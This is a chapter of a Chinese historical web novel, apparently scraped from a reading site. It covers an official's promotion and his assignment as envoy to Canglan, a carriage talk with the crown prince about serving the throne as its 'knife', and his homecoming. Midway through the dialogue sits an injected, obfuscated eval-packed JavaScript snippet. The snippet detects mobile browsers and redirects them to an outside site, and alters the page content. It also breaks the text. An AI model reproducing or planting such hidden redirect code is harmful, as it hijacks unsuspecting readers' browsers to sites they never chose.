47. 使臣
作品:《被疯狗将军觊觎了》 云宸殿。
大殿之上,季晔高坐上位,两旁文武官员肃立。
季晔抬眸瞧了眼身旁的太监,太监瞬间会意,清了清嗓子,高声道:“传太子殿下,沈少卿入殿!”
太监话音刚落,大殿门便忽地敞开。
刺目的阳光从门外照进来,季砚一身绣金玄袍,从殿外踏步进来,沈清臣紧随其后,身上穿着四品少卿的绯色官袍,身姿清越,君子如珩。
季砚和沈清臣一前一后跪地,恭敬行礼:“儿臣/臣,参见陛下,陛下万岁万岁万万岁!”
“平身。”
季晔咳了两声,略显苍白的脸上勾起笑意:“近年北边匪患猖獗,皇儿与沈少卿自请前去剿匪,不过半年便大胜而归,深慰朕心。”
“德才,宣旨!”
被唤作德才的太监上前一步,站在御阶前宣旨:
“奉天承运,皇帝诏曰:太子季砚剿匪有功,特赏良田千亩,黄金万两,别庄三座,流光锻七匹;少卿沈清臣辅助太子剿匪,在职期间功勋卓著,擢升至礼部侍郎,令为特使,年后出使苍澜,负责边贸一事,以修两国之好。”
季砚本来还垂着头听旨,忽地听见季晔令沈清臣出使苍澜,猛地抬头看向上位:
“父皇……”
德才往旁边站了些,挡住季砚看向季晔的视线。
他将手上的圣旨合上,眉眼微弯,声音里却带着些威胁:“沈侍郎,还不速速接旨。”
季砚还想说些什么,却被沈清臣扯住了衣袖,硬生生拦截住。
“臣——”
沈清臣垂着头,双手贴近地面,缓缓叩首:“谢陛下隆恩。”
待下朝时,沈清臣被大小官员在紫宸殿外紧紧围住。
“沈大人不愧是第一公子,当年科考连中三元,一举夺魁,不过两年便升至少卿之位,如今才将将及冠之年,竟是直接连跳数级,直接升到侍郎了!”
“沈大人果真不愧是沈太傅的公子,将来必定是人中龙凤!”
“沈大人今年刚及冠,不知可有婚配?我家小女今年正好及笄,与沈大人可谓郎才女貌……”
沈清臣年少成名,早已习惯被人这般围着,处理这等事来得心应手。
他简单地应了周围人几句,然后便随口找了个理由,匆匆拜别了还想接着跟他攀谈的一众官员。
待沈清臣走到宫门外,正欲抬步走上马车,身旁忽地传来一道熟悉的声音:
“表兄。”
“尧礼?”
沈清臣的步子顿在原地,回头看向白尧礼:“你一直在这等我?”
白尧礼穿着绯袍,站在马车旁看着沈清臣,笑意温和:
“恭喜表兄升为侍郎。”
“表兄这趟剿匪,一去便是半年,家父前些日子还在念叨说想你,昨日听说表兄要回京,千叮万嘱要尧礼请你去肃国公府一聚。”
沈清臣和白尧礼是同年科举的考生,沈清臣为状元,白尧礼稍逊一筹,被点为探花。
两人都是衡京世家公子中的英才,在官场上如鱼得水,屡屡升迁,已然成了朝堂上最为瞩目的新臣。
衡京世家之中,有一个不成文的规矩,为了防止官场上世家势力独大,世家少主一代只要在官场上站稳脚跟,原先的家主就要渐渐退下官场,将权势渐渐移交给诸位后起之秀。
但鉴于沈岳均和白城都是随季晔一同长大的好友,季晔并未向历代诸位帝王一样直接要求他们移转爵位、告老辞官,而是以老臣之名特赐他们不用上朝的权利。
沈岳均和白城也会意,干脆不再理会朝事,安心处理世家族中事务,同时培养白尧礼和沈清臣成为下一任家主。
这未来的沈家和白家,总归会是他们二人的。
也不知从何时开始,白尧礼和沈清臣两人之间的相处,已经没了少时兄弟间调笑的肆无忌惮,只剩下面对外人时用的那张温和假面,谨守礼则,找不出半分瑕疵。
沈清臣点头,笑意里带着些疏远:“好,劳烦你回去转告舅舅,清臣不日定会携礼上门拜访。”
白尧礼拱手行礼,清润的眉眼弯着:
“那尧礼便在府上恭迎表兄了。”
沈清臣掀开车帘,登上马车。
车行辘辘,宫门渐渐驶远。
沈清臣喜饮茶,好诗书,马车里也常设有小案,上面摆放着书卷和茶具,小案底下垫着雪狐皮减轻震动,任凭马车如何晃,案上的东西都掉不下来。
沈清臣拿起茶壶倒了两盏茶,拿了一盏递给旁边的人:“怎么不坐自己的马车回去?”
“阿砚。”
季砚端起茶盏浅抿了口,偏头对他笑道:“若我说我走累了,到你这马车上蹭口茶喝,结果一不小心就忘记下去了,你信吗?”
沈清臣:……
“说实话,可是有事找我?”
季砚看沈清臣表情严肃,也歇了跟他调笑的心思,轻叹一声道:“方才殿外人多眼杂,我不能直接将你拉出来问你,便在你这马车上等你。”
“清臣,你明知出使苍澜是个吃力不讨好的活,做得好了是分内职责,做得不好了那就是杀头的大罪,为何还要答应父皇?”
“方才大殿上的那般场景,我若是不应,明日沈家人藐视皇上、当朝抗旨的话便能传遍整个衡京。”
沈清臣伸手掀开马车侧帘,看着街边人群熙攘,颇为气定神闲地回他:“这事,我非应不可。”
苍澜国和东熙国是邻国,两国一向交好,边境百姓虽然偶尔有些小摩擦,但都无伤大雅。
直到——
当年季珩被派往驻守边关后,苍澜正在巡逻的戍边将领跑到城墙下挑衅,季珩直接将那将领首级斩落,挂于城墙上示众数日,虽然季珩在边关立住了威名,却也彻彻底底打了苍澜的脸。
虽然苍澜皇并未追究季珩,但两国一早便订好的边贸协约却被一拖再拖,两国边境的百姓交往也被新来的戍边将领阻断。
季晔令沈清臣年后出使苍澜处理此事,摆明了是为难他。
事关两国交好,若是稍微有些差池,那便是滔天的大罪。
季珩当年十余岁便去驻守边关,父皇对他心中有愧,再加上他战功累累,也就没有追究他。
但沈清臣就不一定了。
季砚蹙眉看向沈清臣,心下不忍:“清臣,你剿匪有功,若我去和父皇求情,他定能收回成命。”
“不必。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15462494|164597||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>沈清臣摇头:“放心,我心里有数。”
“众人皆知,我是你太子季砚这一派的人,深受太子宠信。”
“陛下先前受季珩蛊惑,认为沈家有不臣之心,此次派我出使,表面上看是刁难,实则是试探,看我是否真的衷心于你,又是否有能力辅佐你。”
他在大殿上才当众应了陛下,若是不过半日便让季砚去求陛下收回成命,他怕不是嫌命长。
到时候御史给他脑袋上再扣一个贪生怕死、迷惑太子的佞臣帽子,说他只顾自身安危却不顾两国邦交,怕是连沈家的名声都要受到牵连,陛下也绝不会容许一个唆使太子忤逆他的臣子活在这世上。
皇家人,不需要亲人,不需要朋友。
只需要刀。
能被皇家牢牢掌握在手心,为之披荆斩棘、铲除异己,关键时候还能被推出去挡灾的刀。
历代沈家家主,从诞生之日起,就是皇上手中最利的刀。
所谓荣宠不断的第一世家,其实早就步履维艰。
若是有朝一日,沈家人不愿意做刀了,那对皇上而言,沈家也没有存活的必要了。
到时所有得到的恩宠,都会变成反捅向沈家的刀。
季砚没再说话。
他低头看着手上的白玉茶盏,手指紧攥,不知在想些什么。
“阿砚。”
不多时,马车渐渐停下,沈清臣拍了拍季砚的肩:“太子府到了。”
“先前在云青州,不是一直念叨着要回来见你那太子妃么?”
沈清臣笑了笑,抬眸看向窗外:“喏。人搁那儿等着你呢。”
季砚的眼睛瞬间就亮了起来,着急忙慌地走下马车,没一会儿就消失在太子府里。
“走吧。”
沈清臣放下车帘,阖眸靠在马车壁上养神。
从他踏上官场那一刻开始,他就成了季砚手中的刀。
他要为他铲除异己,要助他积攒贤名,要为他谋划、替他筹谋。
这就是历代沈家少主都会被选做太子伴读的原因。
一把自愿冲锋陷阵的刀,总比被逼着砍人的刀好用。
皇上的命令,他忤逆不得。
不能,也不敢。
-
沈府
沈清臣前去剿匪,一走半年。
去时还是晚春,回来已经快入冬了。
府外的几棵枫树染着红,红叶摇晃地坠在枝头,被风一吹就零碎地落下几片,被人踩住,发出“吱呀”的声响。
沈泠将手炉丢给林笙,披着狐裘跑向沈清臣。
“哥哥!”
沈清臣刚下马车,眼前就冒出来了一个毛绒绒的脑袋。
“小泠。”
沈清臣伸手揉了揉沈泠的脑袋,笑意柔和:“好久不见。”
“哥哥给你带了礼物。”
沈清臣从沈书手里接过一个长木盒,将她放在沈泠的手心,神秘兮兮地附在她耳边道:“先别打开。等和爹娘用完膳后,回你屋子里再打开瞧。”
“什么?”
沈泠接过木盒,启唇想问他些什么。
忽地,她身后传来一道吊儿郎当的叫唤声:“哟,大舅哥回来了?”